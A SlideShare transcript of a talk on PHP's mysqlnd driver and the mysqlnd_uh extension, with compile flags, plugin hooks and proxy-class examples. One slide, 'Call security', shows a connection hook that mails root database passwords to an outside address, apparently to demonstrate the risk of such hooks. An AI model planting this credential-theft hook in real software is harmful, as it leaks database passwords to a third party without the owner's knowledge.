Mysqlnd uh

1,377 views
1,314 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,377
On SlideShare
0
From Embeds
0
Number of Embeds
721
Actions
Shares
0
Downloads
10
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • \n
  • like useless things and to a certain extent this is one of them\n
  • Appologies if you know this stuff already but I was quite supprised when my colleague didn’t think it’s people switch of when hear dbs\n
  • \n
  • \n
  • recompile\nimportant to tell mysqlnd where your mysql server socket is as your now the client\nonce you have done that \n
  • another advantage mysqlnd is plugin architecture\n7 modules\n
  • lifted example from php.net documentation about writing mysqnd plugin as PHP extension\nto use get the mysqlnd function table back it up replace the function table with a custom one \nwith your own function and in that calling the original method\nlot of boiler plate stuff to build a PHP extension\n
  • on Pickle\nunstable there is a release which is missing some of the stuff we’re going to look at\n
  • \n
  • key concepts \nproxy extends connection\nset connection proxy\ndemo\n
  • mysqlnd_uh extension is to allow you to use PHP to quickly do similar things\ngoing back to this slide at the moment this is the state of mysqlnd_uh \n\n
  • demo\n
  • showing example of result proxy\nresult functions undocumented\ndemo\ncurrent trunk unstable ask me if you want to use it\n
  • \n
  • Mysqlnd uh

    1. 1. mysqlnd_uhA wild and wacky mysql extension
    2. 2. Who Am I?• Nathaniel McHugh• Ibuildings Sheffield• Zend Certified PHP Developer• Oracle certified MySQL Developer• Like writing extensions like databases• Never do anything useful
    3. 3. What is mysqlnd?• PHP Extension created by owners of MySQL for PHP to query MySQL databases• It is not an alternative to the three MySQL extensions existing namely, mysql, mysqli and pdo_mysql• Although it is a PHP extension it exports no new PHP functions
    4. 4. A diagram: all is now clear
    5. 5. Libmysql vs mysqlnd• C Library • PHP Extension• GPL License • PHP License• Linked at compile time • Included in PHP source• Many Failing tests • Fewer failing tests • May perform better around buffered queries
    6. 6. How do I get mysqlnd?The libysql way--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]e.g. on ubuntu this will be /usr/bin looking for mysql_configThe mysqlnd way--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock[=DIR]
    7. 7. How do I get mysqlnd?The libysql way--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]e.g. on ubuntu this will be /usr/bin looking for mysql_configThe mysqlnd way--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock[=DIR]
    8. 8. Plugin Architecture• mysqlnd_statistics.c• mysqlnd.c• mysqlnd_result.c• mysqlnd_result_meta.c• mysqlnd_ps.c• mysqlnd_net.c• mysqlnd_wireprotocol.c
    9. 9. How to extend mysqlnd /* a place to store orginal function table */struct st_mysqlnd_conn_methods org_methods;void minit_register_hooks(TSRMLS_D) { /* active function table */ struct st_mysqlnd_conn_methods * current_methods = mysqlnd_conn_get_methods(); /* backup original function table */ memcpy(&org_methods, current_methods, sizeof(struct st_mysqlnd_conn_methods); /* install new methods */ current_methods->query = MYSQLND_METHOD(my_conn_class, query);}MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn, const char *query, unsigned int query_len TSRMLS_DC) { php_printf("my_conn_class::query(query = %s)n", query); query = "SELECT query rewritten FROM DUAL"; query_len = strlen(query); return org_methods.query(conn, query, query_len); /* return with call to parent */}
    10. 10. Enter mysqlnd_uh
    11. 11. Real world(ish) use caseAmazon RDS does not give users the SUPER privilegeand so you cannot change the timezone globallyAnswer: set the timezone for every connection
    12. 12. mysqlnd_uh to the rescue<?phpclass proxy extends MysqlndUhConnection { public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);   $query = "SET time_zone = Europe/Moscow";   parent::query($res, $query);   return $ret; }}mysqlnd_uh_set_connection_proxy(new proxy());$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");$result = $mysqli->query("SELECT NOW()");var_dump(mysqli_fetch_all($result));
    13. 13. Plugin Architecture• mysqlnd_statistics.c• mysqlnd.c ✔• mysqlnd_result.c ✔• mysqlnd_result_meta.c• mysqlnd_ps.c ✔• mysqlnd_net.c• mysqlnd_wireprotocol.c
    14. 14. Call security<?phpclass proxy extends MysqlndUhConnection { public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {    if (root == $user) {           mail(nat@fishtrap.co.uk,                Subject stolen root password,                 "Hey root password on $host is ".                 "$passwd lets steal their data");    }   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);   return $ret; }}mysqlnd_uh_set_connection_proxy(new proxy());// ...$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test"); mysqlnd_uh.enable = 1;
    15. 15. Another example <?phpclass resultProxy extends MysqlndUhResult {   private $_rows = array();      public function __construct($rows) {    $this->_rows = $rows;  }  public function fetchInto($res, &$rows, $flags, $extension) {    if (!empty($this->_rows)) {      $rows = $this->_rows;      unset($this->_rows);    } else {      $rows = null;    }  }}class proxy extends MysqlndUhConnection {  public function query($res, $query) {    $query = "SELECT Hello AS _msg FROM DUAL";    return parent::query($res, $query);  }}mysqlnd_uh_set_connection_proxy(new proxy());mysqlnd_uh_set_result_proxy(new resultProxy(range(a, m)));$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");var_dump($mysqli->query("Going to replace this")->fetch_all());
    16. 16. Questions I can answer?

    ×